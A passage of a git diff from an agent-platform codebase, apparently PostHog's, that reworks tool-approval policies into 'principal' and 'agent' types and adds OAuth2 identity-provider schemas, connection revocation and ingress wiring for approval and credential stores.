+ return `/api/projects/${projectId}/agent_applications/${id}/users/${agentUserId}/connections/${provider}/`
+}
+
+/**
+ * Revoke one of an end-user's linked connections. The credential is marked revoked (kept for audit), so the agent can no longer act as that user on the provider.
+ */
+export const agentApplicationsUsersConnectionDelete = async (
+ projectId: string,
+ id: string,
+ agentUserId: string,
+ provider: string,
+ options?: RequestInit
+): Promise<void> => {
+ return apiMutator<void>(getAgentApplicationsUsersConnectionDeleteUrl(projectId, id, agentUserId, provider), {
+ ...options,
+ method: 'DELETE',
+ })
+}
+
export const getAgentFleetApprovalsListUrl = (projectId: string, params?: AgentFleetApprovalsListParams) => {
const normalizedParams = new URLSearchParams()
diff --git a/products/agent_platform/frontend/generated/api.zod.ts b/products/agent_platform/frontend/generated/api.zod.ts
index bfb703b0155e..3cefb42e473c 100644
--- a/products/agent_platform/frontend/generated/api.zod.ts
+++ b/products/agent_platform/frontend/generated/api.zod.ts
@@ -131,19 +131,19 @@ export const agentApplicationsRevisionsCreateBodySpecTriggersItemFiveAuthModesIt
export const agentApplicationsRevisionsCreateBodySpecTriggersDefault = []
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneRequiresApprovalDefault = false
+export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemThreeVersionMin = 0
export const agentApplicationsRevisionsCreateBodySpecToolsItemFourArgsSchemaDefault = {}
@@ -156,17 +156,24 @@ export const agentApplicationsRevisionsCreateBodySpecToolsDefault = []
export const agentApplicationsRevisionsCreateBodySpecMcpsItemSecretsDefault = []
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsCreateBodySpecMcpsDefault = []
export const agentApplicationsRevisionsCreateBodySpecSkillsItemVersionMin = 0
export const agentApplicationsRevisionsCreateBodySpecSkillsDefault = []
export const agentApplicationsRevisionsCreateBodySpecIntegrationsDefault = []
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneIdDefault = `posthog`
+
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneBindingDefault = `principal`
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneScopesDefault = []
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoBindingDefault = `principal`
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoScopesDefault = []
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersDefault = []
export const agentApplicationsRevisionsCreateBodySpecSecretsDefault = []
export const agentApplicationsRevisionsCreateBodySpecLimitsMaxTurnsDefault = 50
@@ -437,10 +444,11 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(agentApplicationsRevisionsCreateBodySpecToolsItemOneRequiresApprovalDefault),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -453,11 +461,6 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -470,10 +473,11 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(agentApplicationsRevisionsCreateBodySpecToolsItemTwoRequiresApprovalDefault),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -486,13 +490,9 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
+ requires_identity: zod.string().optional(),
}),
zod.object({
kind: zod.literal('custom_template'),
@@ -533,6 +533,7 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
auth: zod
.object({
integration: zod.string().optional(),
+ provider: zod.string().optional(),
})
.optional(),
secrets: zod
@@ -552,10 +553,11 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -572,11 +574,6 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -602,6 +599,45 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
)
.default(agentApplicationsRevisionsCreateBodySpecSkillsDefault),
integrations: zod.array(zod.string()).default(agentApplicationsRevisionsCreateBodySpecIntegrationsDefault),
+ identity_providers: zod
+ .array(
+ zod.union([
+ zod.object({
+ kind: zod.literal('posthog'),
+ id: zod
+ .string()
+ .min(1)
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneIdDefault),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneBindingDefault
+ ),
+ scopes: zod
+ .array(zod.string())
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneScopesDefault),
+ client_id: zod.string().optional(),
+ }),
+ zod.object({
+ kind: zod.literal('oauth2'),
+ id: zod.string().min(1),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoBindingDefault
+ ),
+ authorize_url: zod.url(),
+ token_url: zod.url(),
+ client_id: zod.string().min(1),
+ client_secret_ref: zod.string().optional(),
+ scopes: zod
+ .array(zod.string())
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoScopesDefault),
+ userinfo_url: zod.url().optional(),
+ }),
+ ])
+ )
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersDefault),
secrets: zod
.array(
zod.union([
@@ -714,19 +750,19 @@ export const agentApplicationsRevisionsUpdateBodySpecTriggersItemFiveAuthModesIt
export const agentApplicationsRevisionsUpdateBodySpecTriggersDefault = []
export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneRequiresApprovalDefault = false
+export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsUpdateBodySpecToolsItemThreeVersionMin = 0
export const agentApplicationsRevisionsUpdateBodySpecToolsItemFourArgsSchemaDefault = {}
@@ -739,17 +775,24 @@ export const agentApplicationsRevisionsUpdateBodySpecToolsDefault = []
export const agentApplicationsRevisionsUpdateBodySpecMcpsItemSecretsDefault = []
export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsUpdateBodySpecMcpsDefault = []
export const agentApplicationsRevisionsUpdateBodySpecSkillsItemVersionMin = 0
export const agentApplicationsRevisionsUpdateBodySpecSkillsDefault = []
export const agentApplicationsRevisionsUpdateBodySpecIntegrationsDefault = []
+export const agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemOneIdDefault = `posthog`
+
+export const agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemOneBindingDefault = `principal`
+export const agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemOneScopesDefault = []
+export const agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemTwoBindingDefault = `principal`
+export const agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemTwoScopesDefault = []
+export const agentApplicationsRevisionsUpdateBodySpecIdentityProvidersDefault = []
export const agentApplicationsRevisionsUpdateBodySpecSecretsDefault = []
export const agentApplicationsRevisionsUpdateBodySpecLimitsMaxTurnsDefault = 50
@@ -1020,10 +1063,11 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
.default(agentApplicationsRevisionsUpdateBodySpecToolsItemOneRequiresApprovalDefault),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1036,11 +1080,6 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsUpdateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -1053,10 +1092,11 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
.default(agentApplicationsRevisionsUpdateBodySpecToolsItemTwoRequiresApprovalDefault),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1069,13 +1109,9 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsUpdateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
+ requires_identity: zod.string().optional(),
}),
zod.object({
kind: zod.literal('custom_template'),
@@ -1116,6 +1152,7 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
auth: zod
.object({
integration: zod.string().optional(),
+ provider: zod.string().optional(),
})
.optional(),
secrets: zod
@@ -1135,10 +1172,11 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1155,11 +1193,6 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -1185,6 +1218,45 @@ export const AgentApplicationsRevisionsUpdateBody = /* @__PURE__ */ zod.object({
)
.default(agentApplicationsRevisionsUpdateBodySpecSkillsDefault),
integrations: zod.array(zod.string()).default(agentApplicationsRevisionsUpdateBodySpecIntegrationsDefault),
+ identity_providers: zod
+ .array(
+ zod.union([
+ zod.object({
+ kind: zod.literal('posthog'),
+ id: zod
+ .string()
+ .min(1)
+ .default(agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemOneIdDefault),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemOneBindingDefault
+ ),
+ scopes: zod
+ .array(zod.string())
+ .default(agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemOneScopesDefault),
+ client_id: zod.string().optional(),
+ }),
+ zod.object({
+ kind: zod.literal('oauth2'),
+ id: zod.string().min(1),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemTwoBindingDefault
+ ),
+ authorize_url: zod.url(),
+ token_url: zod.url(),
+ client_id: zod.string().min(1),
+ client_secret_ref: zod.string().optional(),
+ scopes: zod
+ .array(zod.string())
+ .default(agentApplicationsRevisionsUpdateBodySpecIdentityProvidersItemTwoScopesDefault),
+ userinfo_url: zod.url().optional(),
+ }),
+ ])
+ )
+ .default(agentApplicationsRevisionsUpdateBodySpecIdentityProvidersDefault),
secrets: zod
.array(
zod.union([
@@ -1320,19 +1392,19 @@ export const agentApplicationsRevisionsPartialUpdateBodySpecTriggersItemFiveAuth
export const agentApplicationsRevisionsPartialUpdateBodySpecTriggersDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneRequiresApprovalDefault = false
+export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemThreeVersionMin = 0
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemFourArgsSchemaDefault = {}
@@ -1345,17 +1417,24 @@ export const agentApplicationsRevisionsPartialUpdateBodySpecToolsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemSecretsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecSkillsItemVersionMin = 0
export const agentApplicationsRevisionsPartialUpdateBodySpecSkillsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecIntegrationsDefault = []
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneIdDefault = `posthog`
+
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneBindingDefault = `principal`
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneScopesDefault = []
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoBindingDefault = `principal`
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoScopesDefault = []
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecSecretsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecLimitsMaxTurnsDefault = 50
@@ -1630,10 +1709,11 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1650,11 +1730,6 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
.default(
agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -1669,10 +1744,11 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1689,13 +1765,9 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
.default(
agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
+ requires_identity: zod.string().optional(),
}),
zod.object({
kind: zod.literal('custom_template'),
@@ -1738,6 +1810,7 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
auth: zod
.object({
integration: zod.string().optional(),
+ provider: zod.string().optional(),
})
.optional(),
secrets: zod
@@ -1757,10 +1830,11 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1777,11 +1851,6 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
.default(
agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -1809,6 +1878,51 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
integrations: zod
.array(zod.string())
.default(agentApplicationsRevisionsPartialUpdateBodySpecIntegrationsDefault),
+ identity_providers: zod
+ .array(
+ zod.union([
+ zod.object({
+ kind: zod.literal('posthog'),
+ id: zod
+ .string()
+ .min(1)
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneIdDefault
+ ),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneBindingDefault
+ ),
+ scopes: zod
+ .array(zod.string())
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneScopesDefault
+ ),
+ client_id: zod.string().optional(),
+ }),
+ zod.object({
+ kind: zod.literal('oauth2'),
+ id: zod.string().min(1),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoBindingDefault
+ ),
+ authorize_url: zod.url(),
+ token_url: zod.url(),
+ client_id: zod.string().min(1),
+ client_secret_ref: zod.string().optional(),
+ scopes: zod
+ .array(zod.string())
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoScopesDefault
+ ),
+ userinfo_url: zod.url().optional(),
+ }),
+ ])
+ )
+ .default(agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersDefault),
secrets: zod
.array(
zod.union([
@@ -2223,9 +2337,13 @@ export const AgentApplicationsPartialUpdateBody = /* @__PURE__ */ zod.object({
})
/**
- * Approve or reject a queued tool-approval request. Team-admin only
- * (plan §6.1). The runtime side runs the tool platform-side on approve
- * and wakes the session with a synthetic tool_result either way.
+ * Approve or reject a queued `agent`-type tool-approval request.
+ *
+ * This is the OWNER decision surface — the only PostHog-authoritative one:
+ * team admins decide here, in the console. `principal`-type approvals are
+ * decided by the session principal at the ingress decision API, not here.
+ * The runtime side runs the tool platform-side on approve and wakes the
+ * session with a synthetic tool_result either way.
*/
export const AgentApplicationsApprovalsDecideBody = /* @__PURE__ */ zod
.object({
diff --git a/products/agent_platform/services/agent-ingress/package.json b/products/agent_platform/services/agent-ingress/package.json
index a78fbb8c41f6..3bb5effe9e6a 100644
--- a/products/agent_platform/services/agent-ingress/package.json
+++ b/products/agent_platform/services/agent-ingress/package.json
@@ -14,6 +14,8 @@
},
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"typescript:check": "tsc --noEmit -p .",
"test": "vitest run",
"start": "tsx src/index.ts",
diff --git a/products/agent_platform/services/agent-ingress/src/index.ts b/products/agent_platform/services/agent-ingress/src/index.ts
index b2ea58930876..8f52560efdb1 100644
--- a/products/agent_platform/services/agent-ingress/src/index.ts
+++ b/products/agent_platform/services/agent-ingress/src/index.ts
@@ -24,7 +24,10 @@ import {
installProcessHandlers,
isDev,
PgCredentialBroker,
+ PgIdentityCredentialStore,
+ PgIdentityLinkStateStore,
PgIdentityStore,
+ PgApprovalStore,
PgRevisionStore,
PgSessionQueue,
RedisSessionEventBus,
@@ -126,6 +129,8 @@ async function main(): Promise<void> {
revisions: new PgRevisionStore(agentDb),
queue: new PgSessionQueue(agentDb),
identities: new PgIdentityStore(agentDb),
+ // Backs the Slack principal-decision handler (decide + wake).
+ approvals: new PgApprovalStore(agentDb),
bus,
routingMode: config.routingMode,
domainSuffix: config.domainSuffix,
@@ -135,6 +140,12 @@ async function main(): Promise<void> {
internalSigningKey: config.internalSigningKey,
authProvider,
credentialBroker,
+ // Identity linking: the OAuth callback route consumes a link-state row,
+ // rebuilds the provider from the app's spec + decrypted env, and persists.
+ identityCredentials: new PgIdentityCredentialStore(agentDb, { encryptionSaltKeys: config.encryptionSaltKeys }),
+ identityLinks: new PgIdentityLinkStateStore(agentDb),
+ envEncryption: encryption,
+ posthogApiBaseUrl: config.posthogApiBaseUrl,
http,
})
app.listen(config.port, () => {
diff --git a/products/agent_platform/services/agent-ingress/src/routing/server.ts b/products/agent_platform/services/agent-ingress/src/routing/server.ts
index 3b210fc07a71..19dfa6f24d22 100644
--- a/products/agent_platform/services/agent-ingress/src/routing/server.ts
+++ b/products/agent_platform/services/agent-ingress/src/routing/server.ts
@@ -7,12 +7,25 @@
import express, { Express, Request, Response } from 'express'
import { z } from 'zod'
-import type { IdentityStore, SecretResolver } from '@posthog/agent-shared'
+import type {
+ AgentApplication,
+ AgentRevision,
+ ApprovalStore,
+ EncryptedFields,
+ IdentityCredentialStore,
+ IdentityLinkStateStore,
+ IdentityStore,
+ SecretResolver,
+} from '@posthog/agent-shared'
import {
+ applyApprovalDecision,
+ buildIdentityRegistry,
createLogger,
+ effectiveApprovalType,
handleMetricsRequest,
isDev,
RevisionStore,
+ type SessionPrincipal,
SessionQueue,
triggerAuthConfig,
} from '@posthog/agent-shared'
@@ -22,7 +35,7 @@ const log = createLogger('ingress')
import { SessionEventBus } from '@posthog/agent-shared'
import type { AuthConfig } from '@posthog/agent-shared'
-import { AuthProvider, PUBLIC_ONLY_AUTH_PROVIDER } from '../enqueue/auth'
+import { authorize, AuthProvider, principalsMatch, PUBLIC_ONLY_AUTH_PROVIDER } from '../enqueue/auth'
import { chatTrigger } from '../triggers/chat'
import { mcpTrigger } from '../triggers/mcp'
import { mountTrigger } from '../triggers/mount'
@@ -96,6 +109,13 @@ export interface BuildAppOpts {
authProvider?: AuthProvider
/** Optional identity store — Slack trigger uses this to mint stable AgentUser ids. */
identities?: IdentityStore
+ /**
+ * Approval store — backs the principal-decision surfaces (the Slack
+ * interactivity handler today; the `POST /approvals/:id/decide` route).
